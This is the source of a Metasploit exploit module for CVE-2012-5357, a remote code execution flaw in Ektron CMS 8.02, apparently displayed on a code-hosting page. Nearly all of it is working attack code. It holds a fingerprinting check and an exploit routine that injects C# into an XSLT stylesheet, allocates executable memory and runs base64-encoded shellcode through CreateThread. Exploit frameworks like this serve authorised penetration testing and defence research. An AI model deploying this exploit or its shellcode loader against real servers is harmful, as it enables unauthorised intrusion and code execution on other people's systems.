Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
class MetasploitModule < Msf::Exploit::Remote
8
  Rank = ExcellentRanking
9

10
  include Msf::Exploit::Remote::HttpClient
11
  include Msf::Exploit::EXE
12

13
  def initialize(info = {})
14
    super(update_info(info,
15
      'Name'           => 'Ektron 8.02 XSLT Transform Remote Code Execution',
16
      'Description'    => %q{
17
          This module exploits a vulnerability in Ektron CMS 8.02 (before SP5). The
18
        vulnerability exists due to the insecure usage of XslCompiledTransform, using a
19
        XSLT controlled by the user. The module has been tested successfully on Ektron CMS
20
        8.02 over Windows 2003 SP2, which allows to execute arbitrary code with NETWORK
21
        SERVICE privileges.
22
      },
23
      'Author'         => [
24
        'Rich Lundeen', # Vulnerability discovery
25
        'juan vazquez', # Metasploit module
26
        'Nicolas "Nicob" Gregoire' # C# code using VirtualAlloc + copy shellcode + CreateThread
27
      ],
28
      'License'        => MSF_LICENSE,
29
      'References'     =>
30
        [
31
          [ 'CVE', '2012-5357'],
32
          [ 'OSVDB', '88107' ],
33
          [ 'URL', 'http://webstersprodigy.net/2012/10/25/cve-2012-5357cve-1012-5358-cool-ektron-xslt-rce-bugs/' ],
34
          [ 'URL', 'http://technet.microsoft.com/en-us/security/msvr/msvr12-016' ]
35
        ],
36
      'Payload'        =>
37
        {
38
          'Space'           => 2048,
39
          'StackAdjustment' => -3500
40
        },
41
      'Platform'       => 'win',
42
      'Privileged'     => true,
43
      'Targets'        =>
44
        [
45
          ['Windows 2003 SP2 / Ektron CMS400 8.02', { }],
46
        ],
47
      'DefaultTarget'  => 0,
48
      'DisclosureDate' => '2012-10-16'
49
    ))
50

51
    register_options(
52
      [
53
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]),
54
        OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/'])
55
      ])
56
  end
57

58
  def check
59

60
    fingerprint = rand_text_alpha(5 + rand(5))
61
    xslt_data = <<-XSLT
62
<?xml version='1.0'?>
63
<xsl:stylesheet version="1.0"
64
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
65
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
66
xmlns:user="http://mycompany.com/mynamespace">
67
<msxsl:script language="C#" implements-prefix="user">
68
<![CDATA[
69
public string xml()
70
{
71
return "#{fingerprint}";
72
}
73
]]>
74
</msxsl:script>
75
<xsl:template match="/">
76
<xsl:value-of select="user:xml()"/>
77
</xsl:template>
78
</xsl:stylesheet>
79
    XSLT
80

81
    res = send_request_cgi(
82
      {
83
        'uri'     => "#{uri_path}WorkArea/ContentDesigner/ekajaxtransform.aspx",
84
        'version' => '1.1',
85
        'method'  => 'POST',
86
        'ctype'   => "application/x-www-form-urlencoded; charset=UTF-8",
87
        'headers' => {
88
          "Referer" => build_referer
89
        },
90
        'vars_post'    => {
91
          "xml" => rand_text_alpha(5 + rand(5)),
92
          "xslt" => xslt_data
93
        }
94
      })
95

96
    if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
97
      return Exploit::CheckCode::Vulnerable
98
    end
99
    return Exploit::CheckCode::Safe
100
  end
101

102
  def uri_path
103
    uri_path = target_uri.path
104
    uri_path << "/" if uri_path[-1, 1] != "/"
105
    uri_path
106
  end
107

108
  def build_referer
109
    if datastore['SSL']
110
      schema = "https://"
111
    else
112
      schema = "http://"
113
    end
114

115
    referer = schema
116
    referer << rhost
117
    referer << ":#{rport}"
118
    referer << uri_path
119
    referer
120
  end
121

122
  def exploit
123

124
    print_status("Generating the EXE Payload and the XSLT...")
125
    fingerprint = rand_text_alpha(5 + rand(5))
126

127
    xslt_data = <<-XSLT
128
<?xml version='1.0'?>
129
<xsl:stylesheet version="1.0"
130
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
131
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
132
xmlns:user="http://mycompany.com/mynamespace">
133
<msxsl:script language="C#" implements-prefix="user">
134
<![CDATA[
135

136
private static UInt32 MEM_COMMIT = 0x1000;
137
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
138

139
[System.Runtime.InteropServices.DllImport("kernel32")]
140
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
141

142
[System.Runtime.InteropServices.DllImport("kernel32")]
143
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
144

145
public string xml()
146
{
147
  string shellcode64 = @"#{Rex::Text.encode_base64(payload.encoded)}";
148
  byte[] shellcode = System.Convert.FromBase64String(shellcode64);
149
  UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
150
  System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
151
  IntPtr hThread = IntPtr.Zero;
152
  IntPtr pinfo = IntPtr.Zero;
153
  UInt32 threadId = 0;
154
  hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
155
  return "#{fingerprint}";
156
}
157
]]>
158
</msxsl:script>
159
<xsl:template match="/">
160
<xsl:value-of select="user:xml()"/>
161
</xsl:template>
162
</xsl:stylesheet>
163
    XSLT
164

165
    print_status("Trying to run the xslt transformation...")
166
    res = send_request_cgi(
167
      {
168
        'uri'     => "#{uri_path}WorkArea/ContentDesigner/ekajaxtransform.aspx",
169
        'version' => '1.1',
170
        'method'  => 'POST',
171
        'ctype'   => "application/x-www-form-urlencoded; charset=UTF-8",
172
        'headers' => {
173
          "Referer" => build_referer
174
        },
175
        'vars_post'    => {
176
          "xml" => rand_text_alpha(5 + rand(5)),
177
          "xslt" => xslt_data
178
        }
179
      })
180
    if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
181
      print_good("Exploitation was successful")
182
    else
183
      fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request")
184
    end
185

186
  end
187
end
188

189